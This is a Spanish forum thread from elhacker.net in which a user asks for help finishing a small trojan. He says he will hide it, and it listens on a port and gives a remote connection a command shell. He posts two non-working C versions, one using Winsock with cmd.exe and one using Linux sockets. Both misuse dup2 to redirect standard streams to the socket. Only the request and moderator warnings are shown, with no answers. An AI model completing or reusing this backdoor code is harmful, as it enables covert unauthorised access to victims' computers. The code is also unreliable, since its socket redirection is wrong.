Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Garfield07 en 16 Agosto 2010, 15:14 pm



Título: Duda Code troyano C
Publicado por: Garfield07 en 16 Agosto 2010, 15:14 pm
buenas estoy haciendo un troyanito que simplemente abra una cmd en windows, pero tengo un problema:
lo que uso es un dup2 para duplicar los descriptores de salida y entrada STDIN y STDOUT k corresponden con los descriptores 1 y 0. los duplico dirigiendolos al socket abierto, pero no me funciona. el cmd se abre en la ventana del troyano que luego voy a ocultar, por lo que no me sirve xD

les dejo el code: Dev-Cpp Windows 7 C:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <winsock.h>
  4. #include <sys/types.h>
  5.  
  6. int main ()
  7. {
  8.    WSADATA wsaData;
  9.    WSAStartup(MAKEWORD(1, 1), &wsaData);
  10.  
  11. SOCKET sockfd, newsock;
  12. struct sockaddr_in client, host;
  13.    int a=sizeof (client);
  14.  
  15. sockfd=socket (2, 1, 0);
  16. host.sin_family=AF_INET;
  17. host.sin_addr.s_addr=0;
  18. host.sin_port=htons (33333);
  19. memset (host.sin_zero, '\0', 8);
  20.  
  21. bind (sockfd, (struct sockaddr*)&host, sizeof (host));
  22. listen (sockfd, 1);
  23.  
  24. while (1)
  25. {
  26. newsock=accept (sockfd, (struct sockaddr*)&client, &a);
  27. send (newsock, "Conexion finalizada.\n", 21, 0);
  28. dup2 (STDIN, newsock);
  29. dup2 (STDOUT, newsock);
  30. dup2 (STRERR, newsock);
  31. WinExec ("cmd.exe", SW_NORMAL);
  32. closesocket (newsock);
  33. }
  34.  
  35. closesocket (sockfd);
  36. return 0;
  37. }
  38.  

Nota: Linkeo desde un proyecto, pero quiero hacerlo desde linea de comandos. se k se ha hablado muxo xro sigo sin conseguirlo fuera de graficos....
linkeo a C:/Dev-Cpp/lib/libwsock32.a k es la k va en el 7.

saludos y gracias

Lh: No hagas doble post.

agradeceria que alguien respondiese

antes de continuar, dire que lo volvi a escribir en Linux Ubuntu. A ver k tal:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6.  
  7. int main()
  8. {
  9. int sockfd, newsock;
  10. struct sockaddr_in server, client;
  11. int a;
  12.  
  13. sockfd=socket(2, 1, 0);
  14. server.sin_family = AF_INET;
  15. server.sin_port = htons(31337);
  16. server.sin_addr.s_addr = 0;
  17. memset((struct sockaddr*)server.sin_zero, '\0', 8);
  18.  
  19. bind(sockfd,(struct sockaddr*)&server, sizeof(struct sockaddr));
  20. listen(sockfd,3);
  21.  
  22. while(1)
  23. {
  24. a=sizeof(struct sockaddr_in);
  25. newsock=accept(sockfd, (struct sockaddr *)&client, &a);
  26. dup2 (stdin, newsock);
  27. dup2 (stdout, newsock);
  28. dup2 (stderr, newsock);
  29. fprintf (stdin, "Hola");
  30. close (newsock);
  31. }
  32. return 0;
  33. close(sockfd);
  34. }
  35.  

Donde dice "Hola" en el fprintf deberia escribir en el socket "newsock", pero no lo escribe en algun lado.
Echenme una mano por favor!!!


Lh: No hagas doble post, utiliza el botón modificar. Ten paciencia para esperar la respuesta.
Proximo doble post y borro directamente.

Buenas, se que la participacion es voluntaria pero necesito urgentemente una respuesta, por favor.
Alguien puede echarme una mano?

Saludos y gracias